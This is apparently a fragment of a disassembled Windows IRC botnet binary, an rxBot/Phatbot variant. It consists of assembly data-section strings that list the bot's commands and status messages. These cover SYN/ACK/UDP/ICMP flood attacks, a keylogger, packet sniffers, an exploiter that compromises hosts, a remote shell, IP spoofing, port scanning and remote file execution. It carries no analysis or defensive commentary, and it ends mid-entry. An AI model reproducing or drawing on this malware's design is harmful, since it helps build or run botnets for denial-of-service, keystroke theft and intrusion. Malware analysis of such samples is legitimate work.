db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aFailedToSta_17 db '- Failed to start flood thread, error: <%d>.',0
align 4
aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401B66+4B4Eo
align 4
aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401B66+4B37o
; sub_413133:loc_41325Fo
aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401B66+4B20o
; sub_413133:loc_413243o
align 10h
aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401B66+4B09o
; sub_413133+F1o
align 4
aC_0: ; DATA XREF: sub_401B66+4AF2o
unicode 0, <c>,0
aClone_0 db 'clone',0 ; DATA XREF: sub_401B66+4ADBo
align 4
aIcmp db 'icmp',0 ; DATA XREF: sub_401B66+4AB2o
align 10h
aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401B66+4A9Bo
align 4
aMv db 'mv',0 ; DATA XREF: sub_401B66+4A84o
align 10h
aRename db 'rename',0 ; DATA XREF: sub_401B66+4A6Do
align 4
aFf db 'ff',0 ; DATA XREF: sub_401B66+4A56o
align 4
aFindfile db 'findfile',0 ; DATA XREF: sub_401B66+4A3Fo
align 4
aE: ; DATA XREF: sub_401B66+4A28o
unicode 0, <e>,0
aExecute db 'execute',0 ; DATA XREF: sub_401B66+4A11o
aUp909 db 'up909',0 ; DATA XREF: sub_401B66+49FAo
align 4
aUpdate909 db 'update909',0 ; DATA XREF: sub_401B66+49E3o
align 4
aDe db 'de',0 ; DATA XREF: sub_401B66+49CCo
align 4
aDelay db 'delay',0 ; DATA XREF: sub_401B66+49B5o
align 4
aRp db 'rp',0 ; DATA XREF: sub_401B66+499Eo
align 4
aRepeat db 'repeat',0 ; DATA XREF: sub_401B66+4987o
; sub_401B66+6ADAo
align 10h
aTsn db 'tsn',0 ; DATA XREF: sub_401B66+4970o
aTsunami db 'tsunami',0 ; DATA XREF: sub_401B66+4959o
aT3 db 't3',0 ; DATA XREF: sub_401B66+4942o
align 10h
aTarga3 db 'targa3',0 ; DATA XREF: sub_401B66+492Bo
align 4
aC_p db 'c_p',0 ; DATA XREF: sub_401B66+4914o
aC_part db 'c_part',0 ; DATA XREF: sub_401B66+48FDo
align 4
aC_j db 'c_j',0 ; DATA XREF: sub_401B66+48E6o
aC_join db 'c_join',0 ; DATA XREF: sub_401B66+48CFo
align 10h
aC_n db 'c_n',0 ; DATA XREF: sub_401B66+48B8o
aC_nick db 'c_nick',0 ; DATA XREF: sub_401B66+48A1o
align 4
aC_m db 'c_m',0 ; DATA XREF: sub_401B66+488Ao
aC_mode db 'c_mode',0 ; DATA XREF: sub_401B66+4873o
align 4
aC_r db 'c_r',0 ; DATA XREF: sub_401B66+485Co
aC_raw db 'c_raw',0 ; DATA XREF: sub_401B66+4845o
align 4
aM: ; DATA XREF: sub_401B66+482Eo
; .packed:0043A920o ...
unicode 0, <m>,0
aCy db 'cy',0 ; DATA XREF: sub_401B66+4800o
align 4
aCycle db 'cycle',0 ; DATA XREF: sub_401B66+47E9o
align 4
aA: ; DATA XREF: sub_401B66+47D2o
; .packed:0043A8E4o
unicode 0, <a>,0
aAction db 'action',0 ; DATA XREF: sub_401B66+47BBo
align 10h
aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401B66+478Do
aAa db 'aa',0 ; DATA XREF: sub_401B66+4776o
align 4
aAddalias db 'addalias',0 ; DATA XREF: sub_401B66+475Fo
align 4
aKl db 'kl',0 ; DATA XREF: sub_401B66+4748o
align 4
aKilllog db 'killlog',0 ; DATA XREF: sub_401B66+4731o
aGh db 'gh',0 ; DATA XREF: sub_401B66+4708o
align 4
aGethost db 'gethost',0 ; DATA XREF: sub_401B66+46F3o
aCap db 'cap',0 ; DATA XREF: sub_401B66+46DEo
aCapture db 'capture',0 ; DATA XREF: sub_401B66+46C9o
unk_42C4BC db 2Dh ; - ; DATA XREF: sub_401B66:loc_406216o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aCommandUnknown db '- Command unknown.',0
unk_42C4D8 db 2Dh ; - ; DATA XREF: sub_401B66:loc_40620Fo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aNoMessageSpeci db '- No message specified.',0
align 4
aSend db 'send',0 ; DATA XREF: sub_401B66+4667o
; sub_409A1D+5F0o
align 4
unk_42C504 db 2Dh ; - ; DATA XREF: sub_401B66:loc_4061C3o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListFailed db '- User list failed.',0
align 4
unk_42C524 db 2Dh ; - ; DATA XREF: sub_401B66+4656o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListComple db '- User list completed.',0
unk_42C544 db 2Dh ; - ; DATA XREF: sub_401B66:loc_40612Fo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListFaile db '- Share list failed.',0
align 4
unk_42C564 db 2Dh ; - ; DATA XREF: sub_401B66+45BFo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListCompl db '- Share list completed.',0
align 4
aShare db 'share',0 ; DATA XREF: sub_401B66+4556o
align 10h
aContinue db 'continue',0 ; DATA XREF: sub_401B66+451Co
align 4
aPause db 'pause',0 ; DATA XREF: sub_401B66+44FFo
align 4
aStop db 'stop',0 ; DATA XREF: sub_401B66+44E5o
align 4
unk_42C5AC db 2Dh ; - ; DATA XREF: sub_401B66:loc_40603Eo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListFai db '- Service list failed.',0
unk_42C5CC db 2Dh ; - ; DATA XREF: sub_401B66+44CEo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListCom db '- Service list completed.',0
align 10h
aStart db 'start',0 ; DATA XREF: sub_401B66+4478o
align 4
unk_42C5F8 db 2Dh ; - ; DATA XREF: sub_401B66+4446o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet db 'net',0 ; DATA XREF: sub_401B66+4422o
dword_42C634 dd 234032Dh, 6C79656Bh, 302676FhaFailedToStartL db '- Failed to start logging thread, error: <%d>.',0
align 10h
dword_42C670 dd 234032Dh, 6C79656Bh, 302676FhaKeyLoggerActiv db '- Key logger active.',0
align 4
dword_42C694 dd 234032Dh, 6C79656Bh, 302676FhaAlreadyRunning db '- Already running.',0
align 4
dword_42C6B4 dd 234032Dh, 6C79656Bh, 302676FhaNoKeyLoggerThr db '- No key logger thread found.',0
align 10h
dword_42C6E0 dd 234032Dh, 6C79656Bh, 302676FhaKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0
align 4
aFile db 'file',0 ; DATA XREF: sub_401B66+42BCo
align 4
aKeylog db 'keylog',0 ; DATA XREF: sub_401B66+429Ao
align 4
unk_42C72C db 2Dh ; - ; DATA XREF: sub_401B66:loc_405DF5o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0
align 10h
unk_42C760 db 2Dh ; - ; DATA XREF: sub_401B66+4285o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42C7A0 db 2Dh ; - ; DATA XREF: sub_401B66+4240o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFailedToSta_18 db '- Failed to start sniffer thread, error: <%d>.',0
unk_42C7DC db 2Dh ; - ; DATA XREF: sub_401B66+41E7o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aPhatbotPacketS db '- Phatbot packet sniffer active.',0
align 4
unk_42C80C db 2Dh ; - ; DATA XREF: sub_401B66+4183o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aAlreadyRunni_0 db '- Already running.',0
aSniffer db 'sniffer',0 ; DATA XREF: sub_401B66+414Co
dword_42C834 dd 234032Dh, 696E7370h, 3026666haNoCarnivoreThr db '- No Carnivore thread found.',0
align 10h
dword_42C860 dd 234032Dh, 696E7370h, 3026666haCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0
align 4
dword_42C89C dd 234032Dh, 696E7370h, 3026666haFailedToSta_19 db '- Failed to start sniffer thread, error: <%d>.',0
align 4
dword_42C8D8 dd 234032Dh, 696E7370h, 3026666haCarnivorePacke db '- Carnivore packet sniffer active.',0
align 4
dword_42C908 dd 234032Dh, 696E7370h, 3026666haAlreadyRunni_1 db '- Already running.',0
align 4
aOn db 'on',0 ; DATA XREF: sub_401B66+4015o
; sub_401B66+4163o ...
align 4
aPsniff db 'psniff',0 ; DATA XREF: sub_401B66+3FFEo
align 4
aRf db 'rf',0 ; DATA XREF: sub_401B66+3FE9o
align 4
aReadfile db 'readfile',0 ; DATA XREF: sub_401B66+3FD4o
align 4
aCm db 'cm',0 ; DATA XREF: sub_401B66+3FBFo
align 4
aCmd db 'cmd',0 ; DATA XREF: sub_401B66+3FAAo
aMirc db 'mirc',0 ; DATA XREF: sub_401B66+3F95o
align 4
aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401B66+3F80o
aV: ; DATA XREF: sub_401B66+3F6Bo
; .packed:0043A914o ...
unicode 0, <v>,0
aVisit db 'visit',0 ; DATA XREF: sub_401B66+3F56o
align 4
aLi db 'li',0 ; DATA XREF: sub_401B66+3F41o
align 4
aList db 'list',0 ; DATA XREF: sub_401B66+3F2Co
align 4
aGt db 'gt',0 ; DATA XREF: sub_401B66+3F17o
align 4
aDel db 'del',0 ; DATA XREF: sub_401B66+3EEDo
aDelete db 'delete',0 ; DATA XREF: sub_401B66+3ED8o
; sub_401B66+4539o
align 4
aKi db 'ki',0 ; DATA XREF: sub_401B66+3EC3o
align 4
aKill db 'kill',0 ; DATA XREF: sub_401B66+3EAEo
align 10h
aKp db 'kp',0 ; DATA XREF: sub_401B66+3E99o
align 4
aKillproc db 'killproc',0 ; DATA XREF: sub_401B66+3E84o
align 10h
aDn db 'dn',0 ; DATA XREF: sub_401B66+3E6Fo
align 4
aDns db 'dns',0 ; DATA XREF: sub_401B66+3E5Ao
aSe db 'se',0 ; DATA XREF: sub_401B66+3E45o
align 4
aO: ; DATA XREF: sub_401B66+3E1Bo
unicode 0, <o>,0
aOpen db 'open',0 ; DATA XREF: sub_401B66+3E06o
; sub_401B66+5836o ...
align 4
aPr db 'pr',0 ; DATA XREF: sub_401B66+3DF1o
align 4
aPrefix db 'prefix',0 ; DATA XREF: sub_401B66+3DDCo
align 4
aC_rn db 'c_rn',0 ; DATA XREF: sub_401B66+3DC7o
align 4
aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401B66+3DB2o
align 4
aC_q db 'c_q',0 ; DATA XREF: sub_401B66+3D9Do
aC_quit db 'c_quit',0 ; DATA XREF: sub_401B66+3D88o
align 4
aK: ; DATA XREF: sub_401B66+3D73o
; .packed:0043A900o ...
unicode 0, <k>,0
aKillthread db 'killthread',0 ; DATA XREF: sub_401B66+3D5Eo
align 4
aRaw db 'raw',0 ; DATA XREF: sub_401B66+3D34o
aPt db 'pt',0 ; DATA XREF: sub_401B66+3D1Fo
align 4
aJ: ; DATA XREF: sub_401B66+3CF5o
; .packed:0043A8FCo ...
unicode 0, <j>,0
aN: ; DATA XREF: sub_401B66+3CCBo
; .packed:0043A91Co ...
unicode 0, <n>,0
unk_42CA04 db 2Dh ; - ; DATA XREF: sub_401B66+3C97o
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aDisconnectingC db '- disconnecting clones...',0
align 4
aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401B66+3C33o
aRegister db 'register',0 ; DATA XREF: sub_401B66+3C0Ao
align 10h
aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401B66+3BB1o
align 10h
aMix db 'mix',0 ; DATA XREF: sub_401B66+3AE7o
dword_42CA64 dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
; DATA XREF: sub_401B66+3A93o
; sub_401B66+3ACAo
dd 0
dword_42CA7C dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
; DATA XREF: sub_401B66+3A5Co
dd 1
dword_42CA94 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
; DATA XREF: sub_401B66+3A25o
; sub_401B66+3B39o
aCtcp db 'ctcp',0 ; DATA XREF: sub_401B66+39D3o
align 10h
aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401B66+393Eo
; sub_401B66+397Ao ...
align 10h
aNotice_0 db 'notice',0 ; DATA XREF: sub_401B66+38E7o
align 4
aMsg db 'msg',0 ; DATA XREF: sub_401B66+37FBo
aChgnick db 'chgnick',0 ; DATA XREF: sub_401B66+37B5o
aNick_0 db 'nick',0 ; DATA XREF: sub_401B66+36B8o
; sub_401B66+3CB6o
align 4
dword_42CADC dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
; DATA XREF: sub_401B66+369Bo
dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42CB04 dd 636364h dword_42CB08 dd 6E696F6Ah, 7261702Fh, 74hdword_42CB14 dd 4B43494Eh, 732520h ; sub_401B66+3712o ...
dword_42CB1C dd 69257325h, 0 ; sub_40ABBD+4Eo ...
aPnick db 'pnick',0 ; DATA XREF: sub_401B66+3462o
align 4
aPartSS db 'part %s %s',0 ; DATA XREF: sub_401B66+3445o
; sub_401B66+352Eo ...
align 4
aPartflood db 'partflood',0 ; DATA XREF: sub_401B66+341Eo
align 4
aPartS db 'part %s',0 ; DATA XREF: sub_401B66+3401o
aPart_0 db 'part',0 ; DATA XREF: sub_401B66+33DFo
; sub_401B66+3D0Ao
align 4
aJoinS db 'join %s',0 ; DATA XREF: sub_401B66+33C2o
; sub_401B66+3505o ...
aJoin db 'join',0 ; DATA XREF: sub_401B66+33A0o
; sub_401B66+3CE0o
align 4
aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401B66+3383o
align 10h
aMode db 'mode',0 ; DATA XREF: sub_401B66+3337o
; sub_401B66+4817o
align 4
aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401B66+331Ao
align 4
aNt db 'nt',0 ; DATA XREF: sub_401B66+32CEo
align 4
dword_42CB8C dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
; DATA XREF: sub_401B66+32B1o
dword_42CBA0 dd 7463h dword_42CBA4 dd 76697270h, 2067736Dh, 3A207325h, 7325h ; sub_401B66+3852o ...
dword_42CBB4 dd 5Fh ; sub_401B66+3285o ...
dword_42CBB8 dd 6D70h ; sub_401B66+47A4o
unk_42CBBC db 2Dh ; - ; DATA XREF: sub_401B66+31CAo
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aSClonesLoadedT db '- %s clones loaded to %s:%s',0
align 4
aLoad db 'load',0 ; DATA XREF: sub_401B66+3176o
align 10h
aFlood db 'flood',0 ; DATA XREF: sub_401B66+314Do
align 4
aRinms db 'rinms',0 ; DATA XREF: sub_401B66+3136o
align 10h
aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401B66+3121o
aRin db 'rin',0 ; DATA XREF: sub_401B66+310Co
aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401B66+30F7o
align 4
unk_42CC24 db 2Dh ; - ; DATA XREF: sub_401B66+30D7o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0
align 4
unk_42CC64 db 2Dh ; - ; DATA XREF: sub_401B66+307Bo
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aAttemptingToCo db '- attempting to compromise %s...',0
align 4
aExploit db 'exploit',0 ; DATA XREF: sub_401B66+2FFEo
unk_42CC9C db 2Dh ; - ; DATA XREF: sub_401B66+2FE0o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0
align 4
unk_42CCC8 db 2Dh ; - ; DATA XREF: sub_401B66+2FB6o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401B66+2F7Eo
align 4
unk_42CD08 db 2Dh ; - ; DATA XREF: sub_401B66+2F25o
; sub_401B66+2F96o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0
align 10h
aGet db 'get',0 ; DATA XREF: sub_401B66:loc_404A69o
; sub_401B66+3F02o
unk_42CD44 db 2Dh ; - ; DATA XREF: sub_401B66+2E91o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aInvalidLoginSl db 'Invalid login slot number: %d.',0
align 10h
unk_42CD70 db 2Dh ; - ; DATA XREF: sub_401B66+2E86o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aNoUserLoggedIn db 'No user logged in at slot: %d.',0
align 4
dword_42CD9C dd 234032Dh, 6E69616Dh, 202D0302h, 7325h, 0unk_42CDB0 db 2Dh ; - ; DATA XREF: sub_401B66:loc_40498Co
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
db 'from Hell?) who I love so much.',0
align 10h
dword_42CE60 dd 234032Dh, 75636573h, 3026572haFailedToSta_20 db '- Failed to start secure thread, error: <%d>.',0
align 4
dword_42CE9C dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h
; DATA XREF: sub_401B66+2D8Ao
dd 2E6D6574h, 0
aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401B66+2D84o
align 4
aSecuring db 'Securing',0 ; DATA XREF: sub_401B66+2D7Do
align 10h
unk_42CED0 db 2Dh ; - ; DATA XREF: sub_401B66+2CF1o
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFailedToSta_21 db ' Failed to start server thread, error: <%d>.',0
align 10h
unk_42CF10 db 2Dh ; - ; DATA XREF: sub_401B66+2C83o
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aServerStartedO db ' Server started on: %s:%d.',0
align 4
dword_42CF3C dd 234032Dh, 6B636F73h, 3023473haFailedToSta_22 db '- Failed to start server thread, error: <%d>.',0
align 4
dword_42CF78 dd 234032Dh, 6B636F73h, 3023473h ; sub_411833+A8o
aServerStarte_0 db '- Server started on: %s:%d.',0
dword_42CFA0 dd 234032Dh, 646E6966h, 656C6966h, 2D0302hdword_42CFB0 dd 646E6946h, 6C696620h, 65hdword_42CFBC dd 234032Dh, 636F7270h, 2D030273h, 0dword_42CFCC dd 636F7250h, 20737365h, 7473696Ch, 0dword_42CFDC dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh
; DATA XREF: sub_401B66+2A3Co
dd 676E6974h, 2Eh
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401B66:loc_404595o
; sub_401B66:loc_40969Co ...
align 10h
dword_42D010 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh
; DATA XREF: sub_401B66+2A1Ao
dd 6E697463h, 2E67h
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401B66:loc_404573o
align 4
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401B66:loc_40455Co
; sub_401B66+7963o
align 4
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401B66+29E4o
align 10h
unk_42D060 db 2Dh ; - ; DATA XREF: sub_401B66+2998o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0
align 4
dword_42D08C dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h
; DATA XREF: sub_401B66+295Ao
dd 2E7325h
unk_42D0A4 db 2Dh ; - ; DATA XREF: sub_401B66+2921o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToSta_23 db '- Failed to start list thread, error: <%d>.',0
align 10h
dword_42D0E0 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h
; DATA XREF: sub_401B66+28C8o
dd 65726874h, 2E736461h, 0
dword_42D100 dd 627573h dword_42D104 dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h
; DATA XREF: sub_401B66+2850o
dd 2E7473h
unk_42D11C db 2Dh ; - ; DATA XREF: sub_401B66+2820o
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedToSta_24 db '- Failed to start listing thread, error: <%d>.',0
dword_42D154 dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
; DATA XREF: sub_401B66+27A9o
dd 2E676Fh
dword_42D16C dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh
; DATA XREF: sub_401B66+2722o
dd 6F666E49h, 2Eh
dword_42D188 dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h
; DATA XREF: sub_401B66+26F3o
dd 2E6F666Eh, 0
dword_42D1A4 dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h
; DATA XREF: sub_401B66+269Eo
dd 746F4220h, 2Eh
unk_42D1C0 db 2Dh ; - ; DATA XREF: sub_401B66+266Do
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToSta_25 db ' Failed to start listing thread, error: <%d>.',0
align 4
dword_42D1FC dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h
; DATA XREF: sub_401B66+260Eo
dd 696C2073h, 2E7473h
aFull db 'full',0 ; DATA XREF: sub_401B66+25EEo
align 10h
unk_42D220 db 2Dh ; - ; DATA XREF: sub_401B66+258Fo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aAlreadyRunni_2 db ' Already running.',0
align 10h
dword_42D240 dd 234032Dh, 656B6463h, 3027379haSearchComplete db '- Search completed.',0
dword_42D260 dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh
; DATA XREF: sub_401B66+2514o
dd 2E7325h
unk_42D278 db 2Dh ; - ; DATA XREF: sub_401B66:loc_403FB0o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellRea db '- Remote shell ready.',0
align 4
unk_42D298 db 2Dh ; - ; DATA XREF: sub_401B66+2443o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0
align 10h
unk_42D2C0 db 2Dh ; - ; DATA XREF: sub_401B66+2427o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellAlr db '- Remote shell already running.',0
align 4
dword_42D2EC dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h
; DATA XREF: sub_401B66+2411o
dd 72616F62h, 2E64h
dword_42D308 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h
; DATA XREF: sub_401B66+23E3o
dd 2Dh
unk_42D320 db 2Dh ; - ; DATA XREF: sub_401B66:loc_403F39o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushA db 'Failed to flush ARP cache.',0
align 4
unk_42D34C db 2Dh ; - ; DATA XREF: sub_401B66+23CCo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheFlushe db 'ARP cache flushed.',0
align 10h
unk_42D370 db 2Dh ; - ; DATA XREF: sub_401B66:loc_403F08o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToLoadDn db 'Failed to load dnsapi.dll.',0
align 4
unk_42D39C db 2Dh ; - ; DATA XREF: sub_401B66:loc_403F01o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushD db 'Failed to flush DNS cache.',0
align 4
unk_42D3C8 db 2Dh ; - ; DATA XREF: sub_401B66+2394o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aDnsCacheFlushe db 'DNS cache flushed.',0
align 4
unk_42D3EC db 2Dh ; - ; DATA XREF: sub_401B66+2301o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToSta_26 db '- Failed to start server thread, error: <%d>.',0
align 4
unk_42D428 db 2Dh ; - ; DATA XREF: sub_401B66+22A8o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42D464 db 2Dh ; - ; DATA XREF: sub_401B66+21CAo
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_27 db ' Failed to start server thread, error: <%d>.',0
align 10h
unk_42D4A0 db 2Dh ; - ; DATA XREF: sub_401B66+2171o
; sub_40B945+440o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42D4DC db 2Dh ; - ; DATA XREF: sub_401B66+2055o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_28 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42D518 db 2Dh ; - ; DATA XREF: sub_401B66+1FFCo
; sub_40B945+D7o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aServerStarte_1 db ' Server started on Port: %d, File: %s.',0
align 4
unk_42D54C db 2Dh ; - ; DATA XREF: sub_401B66+1F4Fo
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aAlreadyRunni_3 db ' Already running.',0
align 4
unk_42D56C db 2Dh ; - ; DATA XREF: sub_401B66:loc_403A9Fo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToSta_29 db '- Failed to start scan, port is invalid.',0
align 4
unk_42D5A4 db 2Dh ; - ; DATA XREF: sub_401B66+1ED7o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToSta_30 db '- Failed to start scan thread, error: <%d>.',0
align 10h
unk_42D5E0 db 2Dh ; - ; DATA XREF: sub_401B66+1E78o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aSPortScanSta_0 db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
align 4
aSequential db 'Sequential',0 ; DATA XREF: sub_401B66+1E4Do
; sub_401B66+5B1Ao
align 4
aRandom db 'Random',0 ; DATA XREF: sub_401B66+1E46o
; sub_401B66+5B13o
align 10h
unk_42D660 db 2Dh ; - ; DATA XREF: sub_401B66+1C93o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aAlreadyDScan_0 db '- Already %d scanning threads. Too many specified.',0
unk_42D6A0 db 2Dh ; - ; DATA XREF: sub_401B66+1C20o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
